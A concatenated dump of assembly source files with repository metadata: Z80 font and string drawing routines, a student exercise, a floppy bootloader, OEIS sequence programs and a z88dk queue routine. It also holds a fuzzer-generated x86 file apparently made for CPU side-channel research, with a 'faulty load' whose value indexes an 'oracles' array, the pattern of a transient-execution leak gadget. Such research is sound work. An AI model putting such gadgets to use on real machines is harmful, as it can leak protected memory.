buffer using XOR logic (inverts pixels). ;; Inputs: ;; IY: Screen buffer ;; A: Character to print ;; D, E: X, Y ;; B: Left margin ;; Outputs: ;; D, E: Moved to next character position ;; Notes: ;; The left margin is only required if your string contains newlines or carriage returns. drawCharXOR: push ix ld ixl, 2 call drawCharShared pop ix ret drawCharShared: push af push hl push bc cp '\n' jr nz, _ ld a, e add a, 6 ld e, a ld d, b jr .exit _: cp '\r' jr nz, _ ld d, b jr .exit _: cp '\t' jr nz, _ ld a, d add a, 6 ld d, a jr .exit _: push de sub 0x20 ld l, a ld h, 0 add hl, hl ld d, h ld e, l add hl, hl add hl, de ex de, hl ld hl, kernel_font add hl, de ld a, (hl) inc hl pop de ld b, 5 push af ld a, d cp 95 jr nc, +_ ld a, ixl or a call z, putSpriteOR dec a call z, putSpriteAND dec a call z, putSpriteXOR pop af add a, d ld d, a .exit: pop bc pop hl pop af ret _: pop af pop bc pop hl pop af ret ; Inputs: ; A: Char ; IXH: Margin ; IXL: Draw using OR, AND, or XOR ; D,E: Drawing coordinates ; B,C: Bounding box limits wrapCharShared: push af push bc push hl ; If char is a newline, move to beggining of next line cp '\n' jr nz, _ ld a, e add a, 6 ld e, a ; Move down 6 pixels (1 row of text) ld d, ixh ; Move to left margin jr .exit _: ; If char is carriage return, move to beggining of line ; What the hell is the point of a carriage return anyways? cp '\r' jr nz, _ ld d, ixh jr .exit _: ; If char is a tab, move right 6 pixels ; guess we don't do tab alignment cp '\t' jr nz, _ ld a, d add a, 6 ld d, a jr .exit _: ; Get index of char in kernel font table push de sub 0x20 ld l, a ld h, 0 add hl, hl ld d, h ld e, l add hl, hl add hl, de ex de, hl ld hl, kernel_font add hl, de ld a, (hl) ; Load width of char into A inc hl ; Load pointer to sprite in HL pop de ; Check for wrapping ; If right side of char goes beyond limit... add a, d cp b jr c, _ ; ...shift down 6 pixels and over to left margin ld a, e add a, 6 ld e, a ld d, ixh ; If Y coordinate is not below screen... _: ld a, e cp c jr nc, _ ; ...draw sprite ld b, 5 ; set sprite height ld a, ixl or a ; C=0 for OR call z, putSpriteOR dec a ; C=1 for AND call z, putSpriteAND dec a ; C=2 for XOR call z, putSpriteXOR dec hl ld a, (hl) ; Load width of char into a add a, d ld d, a ; add width of char to X coordinate .exit: pop hl pop bc pop af ret _: ld e, c ; Set Y to lower limit jr .exit ;; drawStr [Text] ;; Draws a zero-delimited string to the screen buffer using OR logic (turns pixels ON). ;; Inputs: ;; IY: Screen buffer ;; HL: String ;; D, E: X, Y ;; B: Left margin ;; Outputs: ;; D, E: Advanced to position of the end of the string ;; Notes: ;; The left margin is only required if your string contains newlines or carriage returns. drawStr: push ix ld ixl, 0 call drawStrShared pop ix ret ;; drawStrAND [Text] ;; Draws a zero-delimited string to the screen buffer using AND logic (turns pixels OFF). ;; Inputs: ;; IY: Screen buffer ;; HL: String ;; D, E: X, Y ;; B: Left margin ;; Outputs: ;; D, E: Advanced to position of the end of the string ;; Notes: ;; The left margin is only required if your string contains newlines or carriage returns. drawStrAND: push ix ld ixl, 1 call drawStrShared pop ix ret ;; drawStrXOR [Text] ;; Draws a zero-delimited string to the screen buffer using XOR logic (inverts pixels). ;; Inputs: ;; IY: Screen buffer ;; HL: String ;; D, E: X, Y ;; B: Left margin ;; Outputs: ;; D, E: Advanced to position of the end of the string ;; Notes: ;; The left margin is only required if your string contains newlines or carriage returns. drawStrXOR: push ix ld ixl, 2 call drawStrShared pop ix ret drawStrShared: push hl push af _: ld a, (hl) or a jr z, _ call drawCharShared inc hl jr -_ _: pop af pop hl ret ;; wrapStr [Text] ;; Draws a zero-delimited string to the screen buffer using OR logic (turns pixels ON), ;; and wraps it inside a rectangle, with character breaks. ;; Inputs: ;; HL: String pointer ;; IY: Screen buffer ;; A: Left margin ;; D, E: X, Y ;; B, C: X Limit, Y Limit ;; Outputs: ;; D, E: Advanced to position of the end of the string ;; HL: Pointer to null terminator or next character that would have been drawn if the string hadn't run off-screen. ;; Notes: ;; The left margin is only required if your string contains newlines or carriage returns. wrapStr: push ix ld ixh, a ld ixl, 0 ; Tell wrapCharShared to use OR logic call wrapStrShared pop ix ret ;; wrapStrAND [Text] ;; Draws a zero-delimited string to the screen buffer using AND logic (turns pixels OFF), ;; and wraps it inside a rectangle, with character breaks. ;; Inputs: ;; HL: String pointer ;; IY: Screen buffer ;; A: Left margin ;; D, E: X, Y ;; B, C: X Limit, Y Limit ;; Outputs: ;; D, E: Advanced to position of the end of the string ;; HL: Pointer to null terminator or next character that would have been drawn if the string hadn't run off-screen. ;; Notes: ;; The left margin is only required if your string contains newlines or carriage returns. wrapStrAND: push ix ld ixh, a ld ixl, 1 ; Tell wrapCharShared to use AND logic call wrapStrShared pop ix ret ;; wrapStrXOR [Text] ;; Draws a zero-delimited string to the screen buffer using XOR logic (inverts pixels), ;; and wraps it inside a rectangle, with character breaks. ;; Inputs: ;; HL: String pointer ;; IY: Screen buffer ;; A: Left margin ;; D, E: X, Y ;; B, C: X Limit, Y Limit ;; Outputs: ;; D, E: Advanced to position of the end of the string ;; HL: Pointer to null terminator or next character that would have been drawn if the string hadn't run off-screen. ;; Notes: ;; The left margin is only required if your string contains newlines or carriage returns. wrapStrXOR: push ix ld ixh, a ld ixl, 2 ; Tell wrapCharShared to use XOR logic call wrapStrShared pop ix ret wrapStrShared: push af ; Return if next char is null _: ld a, (hl) or a jr z, _ call wrapCharShared ; Return if Y coordinate is greater than lower limit ld a, e cp c jr nc, _ ; Go to next char inc hl jr -_ _: pop af ret ;; drawHexA [Text] ;; Draws the contents of A in hexadecimal to the screen buffer using OR logic (turns pixels ON). ;; Inputs: ;; IY: Screen buffer ;; D, E: X, Y ;; A: Value ;; Outputs: ;; D, E: Advanced to position of next character drawHexA: push af rrca rrca rrca rrca call dispha pop af ; fall into for second call dispha: and 15 cp 10 jr nc, dhlet add a, 48 jr dispdh dhlet: add a, 55 dispdh: jp drawChar ;; drawDecA [Text] ;; Draws the contents of A in decimal to the screen buffer using OR logic (turns pixels ON). ;; Inputs: ;; IY: Screen buffer ;; D, E: X, Y ;; A: Value ;; Outputs: ;; D, E: Advanced to position of next character drawDecA: push af push bc push hl ; use C to keep track of leading zeroes ld c, 0 ; display hundreds push af push de ld e, 100 ld d, a call div8By8 ld a, d pop de or a jr z, .no100 inc c ld b, a add a, '0' call drawChar ld a, b ld b, e ld e, a ld h, 100 call mul8By8 ld e, b pop af sub l jr .done100 .no100: pop af .done100: ; display tens push af push de ld e, 10 ld d, a call div8By8 ld a, d pop de ld b, a or a ; this may not be a leading zero or c ld a, b jr z, .no10 ld b, a add a, '0' call drawChar ld a, b ld b, e ld e, a ld h, 10 call mul8By8 ld e, b pop af sub l jr .done10 .no10: pop af .done10: ; draw units add a, '0' call drawChar pop hl pop bc pop af ret ;; drawHexHL [Text] ;; Draws the contents of HL in hexadecimal to the screen buffer using OR logic (turns pixels ON). ;; Inputs: ;; IY: Screen buffer ;; D, E: X, Y ;; HL: Value ;; Outputs: ;; D, E: Advanced to position of next character drawHexHL: push af ld a, h call drawHexA ld a, l call drawHexA pop af ret ;; drawDecHL [Text] ;; Draws the contents of HL in decimal to the screen buffer using OR logic (turns pixels ON). ;; Inputs: ;; IY: Screen buffer ;; D, E: X, Y ;; HL: Value ;; Outputs: ;; D, E: Advanced to position of next character drawDecHL: push hl push bc push af ld b, 0 ;Our digit counter .loop: push de ld de, 0 call cpHLDE pop de jr z, _ ;If HL is down to zero, exit loop ld c, 10 call divHLByC ;Divide HL by 10... push af ;Push the remainder to the stack inc b ;Inc our digit counter jr .loop _: ld a, b cp 0 call z, drawDecA ;Draw a Zero if HL is Zero .draw: ld a, b cp 0 jr z, _ ;if our digit counter is zero, exit loop pop af ;pop our digit from the stack call drawDecA ;draw the digit dec b ;dec our digit counter jr .draw _: pop af pop bc pop hl ret ;; drawDecACIX [Text] ;; Draws the contents of ACIX in decimal to the screen buffer using OR logic (turns pixels ON). ;; Inputs: ;; IY: Screen buffer ;; D, E: X, Y ;; ACIX: Value ;; Outputs: ;; D, E: Advanced to position of next character drawDecACIX: push af push ix push bc push hl ld b, 0 ;Our digit counter .loop: ;Check if ACIX is zero push bc cp 0 jp nz, .notZero ;If a is not zero ld b, a ld a, c cp 0 ld a, b jp nz, .notZero ;If c is not zero ld b, a ld a, ixh cp 0 ld a, b jp nz, .notZero ;If ixh is not zero ld b, a ld a, ixl cp 0 ld a, b jp nz, .notZero ;If ixl is not zero .notZero: pop bc jr z, _ ;If ACIX is down to zero, exit loop push de push iy ld iyh, b ld de, 10 call div32By16 ;Divide ACIX by 10... ld b, iyh pop iy pop de push hl ;Push the remainder to the stack inc b ;Inc our digit counter jr .loop _: ld a, b cp 0 call z, drawDecA ;Draw a Zero if ACIX is Zero .draw: ld a, b cp 0 jr z, _ ;if our digit counter is zero, exit loop pop hl ;pop our digit from the stack call drawDecHL ;draw the digit dec b ;dec our digit counter jr .draw _: pop hl pop bc pop ix pop af ret ;; measureChar [Text] ;; Measures the width of a character in pixels. ;; Inputs: ;; A: Character to measure ;; Outputs: ;; A: Width of character ;; Notes: ;; The height of each character is always 5 pixels. The width also often includes a column of empty pixels on the right (exceptions include '_'). measureChar: push hl push de ld de, 6 sub 0x20 jr c, _ ; Return 0 if char < 0x20 call mul16By8 ex de, hl ld hl, kernel_font add hl, de ld a, (hl) .exit: pop de pop hl ret _: xor a jr .exit ;; measureStr [Text] ;; Measures the width of a string in pixels. ;; Inputs: ;; HL: String to measure ;; Outputs: ;; A: Width of string ;; Notes: ;; The height of any string is always 5 pixels. This function does not support newlines. measureStr: push hl push bc ld b, 0 .loop: ld a, (hl) or a jr z, _ call measureChar add a, b ld b, a inc hl jr .loop _: ld a, b pop bc pop hl ret
22.444122
146
0.525155
9be8ee386af46cdda7499eeb1bf607824908728c
244
asm
Assembly
L1/TPs/0204-ASM/tp1/polynome.asm
Tehcam/Studies
69477a211d8c686473b171ad2fa4298ead2ee60d
[ "MIT" ]
null
null
null
L1/TPs/0204-ASM/tp1/polynome.asm
Tehcam/Studies
69477a211d8c686473b171ad2fa4298ead2ee60d
[ "MIT" ]
null
null
null
L1/TPs/0204-ASM/tp1/polynome.asm
Tehcam/Studies
69477a211d8c686473b171ad2fa4298ead2ee60d
[ "MIT" ]
null
null
null
; Initialisation In Store Mem[1] ; a In Store Mem[2] ; b In Store Mem[3] ; c In Store Mem[0] ; x ; Calcule ax² Mul Mem[0] Mul Mem[1] Store Mem[4] ; Ajoute bx+c Load Mem[0] Mul Mem[2] Add Mem[3] Add Mem[4] ; Affiche le résultat Out ; Fin End
9.384615
21
0.651639
dc7fe947b6d6d52a92121f6589820a542c6dcf67
4,489
asm
Assembly
bootloader/psboot.asm
ps64project/kernel-legacy
b69d7848e614b2137dc6add18a3ceca8685d98cf
[ "MIT" ]
2
2017-10-20T13:58:12.000Z
2018-02-15T04:00:54.000Z
bootloader/psboot.asm
ps64project/kernel-legacy
b69d7848e614b2137dc6add18a3ceca8685d98cf
[ "MIT" ]
null
null
null
bootloader/psboot.asm
ps64project/kernel-legacy
b69d7848e614b2137dc6add18a3ceca8685d98cf
[ "MIT" ]
1
2018-04-12T06:34:24.000Z
2018-04-12T06:34:24.000Z
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Filename : psldr.asm ; ; Author : P.Knowledge, 2016- ; ; Data since : 20171208 15:43, KST ; ; Purpose : PS64 16-bit Realmode Bootloader ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; [ORG 0x00] [BITS 16] SECTION .text jmp 0x07C0:BEGIN ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Environment Values ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; KERNEL32SECTORS : dw 3 TOTALSECTORCOUNT: dw 15 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Bootloader Procedure ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; BEGIN: mov ah, 2 mov bh, 1 mov dh, 1 mov dl, 8 int 10h ; initialize data segment register with bootloader begin address mov ax, 0x07C0 mov ds, ax mov ax, 0xB800 mov es, ax ; create 64Kilobytes stack mov ax, 0x0000 mov ss, ax mov sp, 0xFFFE mov bp, 0xFFFE INITSI: mov si, 0 CLEARSCR: mov BYTE[es:si], 0 add si, 2 cmp si, 80 * 25 * 2 jl CLEARSCR LOADOSIMG: mov ax, 0 ; Drive # mov dl, 0 int 0x13 jc DISKERR ; PS64 starts from 0x1000 mov si, 0x1000 mov es, si mov bx, 0x0000 mov di, word[TOTALSECTORCOUNT] READ: cmp di, 0 je LOAD sub di, 0x1 ; BIOS service 2, read 1 sector mov ah, 0x02 mov al, 0x1 mov ch, byte[TRACKNO] mov cl, byte[SECTORNO] mov dh, byte[HEADNO] mov dl, 0x00 int 0x13 jc DISKERR2 add si, 0x0020 mov es, si mov al, byte[SECTORNO] add al, 0x01 mov byte[SECTORNO], al cmp al, 19 jl READ xor byte[HEADNO], 0x01 mov byte[SECTORNO], 0x01 cmp byte[HEADNO], 0x00 jne READ add byte[TRACKNO], 0x01 jmp READ LOAD: ; Start PS64 Protected Mode Kernel jmp 0x1000:0x0000 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Functions ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; DISKERR() ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; DISKERR: push 0x0C push DISKERRMSG push 1 push 1 call PRINTSTR jmp $ DISKERR2: push 0x0C push DISKREADERR push 0 push 0 call PRINTSTR jmp $ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; PRINTSTR(color, msg, xpos, ypos) ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PRINTSTR: push bp mov bp, sp push es push si push di push ax push cx push dx mov ax, 0xB800 mov es, ax mov ax, word[bp + 4] ; ypos mov si, 160 mul si mov di, ax mov ax, word[bp + 6] ; xpos mov si, 2 mul si add di, ax mov si, word[bp + 8] ; msg mov al, byte[bp + 10] ; color MSGLOOP: mov cl, byte[si] cmp cl, 0 je CLEAR cmp cl, 0x10 je LINEFEED mov byte[es:di], cl mov byte[es:di+1], al add si, 1 add di, 2 jmp MSGLOOP LINEFEED: add si, 1 add di, 160 jmp MSGLOOP CLEAR: pop dx pop cx pop ax pop di pop si pop es pop bp ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Data ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; DISKERRMSG: db 'DISK INIT ERROR!', 0 DISKREADERR:db 'DISK READ EEROR!', 0 SECTORNO: db 0x02 HEADNO: db 0x00 TRACKNO: db 0x00 NOTATION: times 510 - ( $ - $$ ) db 0xFF dw 0xAA55
22.786802
76
0.343061
96f58f6f0ff66f1be533c69b684cef1e8b835935
677
asm
Assembly
oeis/189/A189670.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/189/A189670.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/189/A189670.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A189670: Positions of 1 in A189668; complement of A189669. ; Submitted by Jon Maiga ; 2,4,8,10,14,17,20,22,26,28,32,35,38,40,44,47,49,53,56,58,62,64,68,71,74,76,80,82,86,89,92,94,98,101,103,107,110,112,116,118,122,125,128,130,134,137,139,143,145,149,152,155,157,161,164,166,170,172,176,179,182,184,188,190,194,197,200,202,206,209,211,215,218,220,224,226,230,233,236,238,242 mov $1,$0 mul $0,6 seq $1,189668 ; Fixed point of the morphism 0->010, 1->100. seq $1,53754 ; If k is in the sequence then 2*k and 2*k+1 are not (and 0 is in the sequence); when written in binary k has an even number of bits (0 has 0 digits). add $0,$1 mov $2,$1 pow $2,2 sub $0,$2 div $0,2 add $0,2
45.133333
289
0.694239
863e0c4f0f3f277af0bd2615c23f3a9399197a80
566
asm
Assembly
libsrc/adt/queue/adt_QueueDelete_callee.asm
andydansby/z88dk-mk2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
1
2020-09-15T08:35:49.000Z
2020-09-15T08:35:49.000Z
libsrc/adt/queue/adt_QueueDelete_callee.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
libsrc/adt/queue/adt_QueueDelete_callee.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
; void __CALLEE__ adt_QueueDelete_callee(struct adt_Queue *q, void *delete) ; 09.2005 aralbrec XLIB adt_QueueDelete_callee XDEF ASMDISP_ADT_QUEUEDELETE_CALLEE LIB adt_QueueDeleteS_callee XREF ASMDISP_ADT_QUEUEDELETES_CALLEE XREF _u_free .adt_QueueDelete_callee pop hl pop de ex (sp),hl .asmentry push hl call adt_QueueDeleteS_callee + ASMDISP_ADT_QUEUEDELETES_CALLEE pop hl push hl call _u_free ; free struct adt_Queue container pop hl ret DEFC ASMDISP_ADT_QUEUEDELETE_CALLEE = asmentry - adt_QueueDelete_callee
19.517241
75
0.777385
77fac1f72ee27ee670dda64decf10139b666a687
5,476
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1800.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1800.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1800.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x13bce, %r8 nop and $6942, %r10 mov $0x6162636465666768, %rax movq %rax, %xmm5 and $0xffffffffffffffc0, %r8 vmovntdq %ymm5, (%r8) nop nop nop nop add $27593, %rax lea addresses_A_ht+0x16b4e, %rsi lea addresses_WT_ht+0x161d6, %rdi nop and $4870, %rax mov $97, %rcx rep movsw nop nop nop nop nop xor %rcx, %rcx lea addresses_UC_ht+0x19bee, %r10 nop nop nop nop nop add %r8, %r8 mov (%r10), %ecx nop add $47445, %rax lea addresses_D_ht+0x2948, %rsi lea addresses_A_ht+0xa11e, %rdi nop nop sub $1186, %r10 mov $117, %rcx rep movsl nop nop nop add %rsi, %rsi lea addresses_A_ht+0xdace, %rdi nop nop nop nop nop sub %rdx, %rdx movups (%rdi), %xmm1 vpextrq $0, %xmm1, %r10 nop nop sub $1098, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r15 push %rbp push %rbx push %rsi // Store lea addresses_PSE+0x19e8, %rsi nop nop nop and %rbx, %rbx movb $0x51, (%rsi) nop add $50158, %r14 // Faulty Load lea addresses_PSE+0xbce, %rsi cmp $19974, %r13 movups (%rsi), %xmm0 vpextrq $0, %xmm0, %rbp lea oracles, %r14 and $0xff, %rbp shlq $12, %rbp mov (%r14,%rbp,1), %rbp pop %rsi pop %rbx pop %rbp pop %r15 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_PSE', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_PSE', 'congruent': 1}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 10}, 'OP': 'STOR'} {'dst': {'same': True, 'congruent': 2, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 5}} {'dst': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 6}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
42.123077
2,999
0.659606
3238ba5c6d4d75460578ebe3d8f0986f58ac1bdb
767
asm
Assembly
programs/oeis/015/A015000.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/015/A015000.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/015/A015000.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A015000: q-integers for q=-13. ; 1,-12,157,-2040,26521,-344772,4482037,-58266480,757464241,-9847035132,128011456717,-1664148937320,21633936185161,-281241170407092,3656135215292197,-47529757798798560,617886851384381281,-8032529067996956652,104422877883960436477,-1357497412491485674200,17647466362389313764601,-229417062711061078939812,2982421815243794026217557,-38771483598169322340828240,504029286776201190430767121,-6552380728090615475599972572,85180949465178001182799643437,-1107352343047314015376395364680,14395580459615082199893139740841,-187142545974996068598610816630932,2432853097674948891781940616202117,-31627090269774335593165228010627520,411152173507066362711147964138157761 add $0,1 lpb $0 sub $0,1 sub $1,13 mul $1,-13 lpe div $1,169 mov $0,$1
63.916667
655
0.870926
3d35599846fc5470c213aff015d18ec824c2ee4d
2,881
asm
Assembly
programs/oeis/168/A168667.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/168/A168667.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/168/A168667.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A168667: a(n) = n^7*(n^10 + 1)/2. ; 0,1,65600,64571175,8589942784,381469765625,8463329862336,116315257405375,1125899907891200,8338590852224769,50000000005000000,252723514259390471,1109305553388134400,4325207959722043225,15245673364718304704,49263062667932109375,147573952589810630656,413620130943373551425,1092955779869654376000,2740193428892848028839,6553600000000640000000,15020971247541746491641,33124976459730963755200,70525019780333186875775,145398897491343571943424,291038304567340087890625,566913657692579378682176,1076846981537784113331975,1998280899253456001228800,3628573868365045182357209,6457008150000010935000000,11275058387081385345648511,19342813113834083975168000,32636755824132242795133825,54214017802982992438778944,88741498560793718082734375,143255899979035255101136896,228243970413017625168012025,359162633111784853265489600,558558060923350488528354879,858993459200000081920000000,1307060133750387711479006081,1968828743357673875283412800,2937201553180210145349082375,4341756914529693570721931264,6361839942804935260687265625,9243855392647608549449914816,13323968253481096972972656575,19057724291985084376311398400,27058478018976056173591366849,38146972656250000390625000000,53414971130082109048060509351,74306506941081238463954329600,102721129828140696990399186425,141144487564119754442403720384,192812739753453740308947109375,261918674026948101584045735936,353869026058693587584908130625,475604434074342072758022395200,635995733508753872096182938119,846332972236800001399680000000,1120926662627442672844729903321,1477844452911529538718970558400,1939810675325738196770806110975,2535301200456458805192429666304,3299871795418296027918032890625,4277764859380658537329082120256,5523847118334179527038423099175,7105939741472583346126853120000,9107612550010232101313614813689,11631525699360350004117715000000,14803415620631136002970166732991,18776837322052103825957663539200,23738792613350049348561182721025,29916393689975039950641812489024,37584734091069549328802490234375,47076164647227856796197229387776,58791201016548587382592676027225,73211322161345386247600061412800,90913956073296022682237212938559,112589990684262400010485760000000,139064194721846755640081284343361,171318985850930805368024465512000,210522042406585345741419816081575,258058321049377015087276256108544,315567116503271775901420089765625,384984881978436486374686818658496,468594620818201364544918297179775,569082762301235974797908220313600,689604548420462671384035751457729,833859084983328450023914845000000,1006175350764399217278259103879431,1211610614025107319259645581516800,1456062877942205421341209669457625,1746399166920274309271843099644864,2090601676095887064373219477109375,2497934038399068940935349105852416,